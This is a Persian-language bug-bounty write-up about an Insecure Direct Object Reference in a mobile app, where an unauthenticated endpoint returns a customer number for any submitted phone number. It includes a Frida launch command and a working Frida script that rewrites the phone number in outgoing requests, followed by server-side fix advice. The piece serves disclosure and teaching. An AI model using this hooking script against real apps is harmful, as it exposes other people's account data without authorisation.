رایتاپ
Insecure Direct Object Reference in mobileAPP writeup

این رایتاپ بر اساس سناریوهای دریافت شده از متخصصین امنیتی باگدشت با هدف اشتراک گذاری دانش امنیتی و تسریع در ایمن سازی ارایه شده است.

کنترل دسترسی، که گاهی اوقات به عنوان authorization نیز از آن یاد می‌شود، به این صورت است که یک وب اپلیکیشن، امکان دسترسی به محتوا و عملکردها را به برخی از کاربران می‌دهد و به برخی دیگر خیر. این بررسی‌ها معمولا پس از احراز هویت انجام می‌شود. برای مثال اگر قرار باشد که به وسیله یک شناسه خاص جست و جویی در دیتابیس انجام و نتیجه آن برای کاربر مربوطه برگردانده شود، باید حتما بررسی شود که آیا آن کاربر مجاز به مشاهده نتیجه و اطلاعات مربوطه هست یا خیر، که این کار معمولا از طریق تطبیق دادن شناسه نشست کاربر با منابع فراخوانی شده صورت می گیرد.

نحوه تست:

برنامه موبایل هدف در قسمت خدمات بدون ورود به سامانه در همان صفحه اول قابلیت دریافت شماره مشتری بر اساس شماره موبایل را می‌دهد.

شماره موبایل کاربر از دیتابیس خوانده شده و برای سرور ارسال می‌شود . با یک اسکریپت Frida شماره موبایل را تغییر داده و به سمت سرور ارسال می‌کنیم . در سمت سرور بدون هیچ احراز هویتی شماره مشتری برگردانده می‌شود و می‌توان آن را مشاهده کرد.

با اجرای اسکریپت زیر در خصوص موبایل اپلیکیشن با دستور زیر شماره موبایل دستگاه ارسال کننده درخواست را به شماره دلخواه خود تغییر می‌دهیم و درخواست را به سمت سرور ارسال می‌نماییم تا در نتیجه شماره مشتری در ریسپانس نمایش داده شود.

 Frida –U –l CustomerNumber.js –f com.example.example

اسکریپت :

 Java.perform(function (){ var phone_number = "9030000000" var target_phone_number = "9050000001" var base_command = Java.use("com.example.example.model.command.BaseCommand"); base_command.generateRequestPayload.overload().implementation = function(){ var result = this.generateRequestPayload(); if (result.includes(phone_number)){ console.log("Changing Phone Number " + phone_number + "-->" , + target_phone_number) result = result.replace(phone_number, target_phone_number) } return result; }; base_command.generateRequest.overload().implementation = function(){ var result = this.generateRequest(); return result; }; }); 

راه‌کارهای ایمن سازی:

هر کاربر تنها باید بتواند اطلاعات مربوط به خود را مشاهده کند. برای این منظور باید سمت سرور هدر احراز هویت کاربر بررسی شود و مشخص شود که آیا کاربر حق دسترسی به اطلاعات را دارد یا خیر. این بررسی باید در تمامی درخواست هایی که اطلاعاتی در آن ها وجود دارد اعمال شود.